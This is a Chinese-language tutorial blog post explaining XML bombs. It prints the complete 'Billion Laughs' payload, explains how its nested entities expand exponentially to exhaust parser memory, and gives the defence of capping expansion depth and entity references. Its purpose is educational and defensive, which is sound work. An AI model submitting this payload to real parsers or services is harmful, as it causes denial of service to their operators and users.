昨天講解了有關XML外部實體攻擊,最後一天就來聊聊與XML相關的XML炸彈吧!
沒錯,就像它的名字一樣宛如丟了一個炸彈般。當解析器試圖去解析這個xml的時候,就會因為它的構造而被佔用了系統資源或記憶體最終導致無法負荷而停止運作。
最廣為人知的XML炸彈就是「十億笑聲(Billion laughs)」,最初的報告早在2002年就有,但當它開始散播卻是在2008年。以下是它的程式碼:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
可以從這邊看到它先是定義了lolz
的元素,後面的PCDATA
是XML的元素類型,可以包含實體引用或文本。
<!ELEMENT lolz (#PCDATA)>
再來我們定義了實體lol1
,它裡面引用了lol
,然後下一行定義了lol2
,裡面又引用了許多lol1
在裡面。一直持續下去以此類推,每一個實體都會引用上一個實體,呈現了指數型成長的展開。
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
.
.
.
當XML解析器要去解析這個XML的時候,它會需要不斷展開實體引用直到電腦的資源被耗盡為止,因為其特性所以被歸類在我們之前有聊到的**阻斷服務攻擊(DoS)**裡。
那要如何防範十億笑聲這種XML炸彈呢?最簡單的方法其實就是透過限制實體展開的深度還有實體引用的最大數量,確保系統不會無止盡展開而無法承受。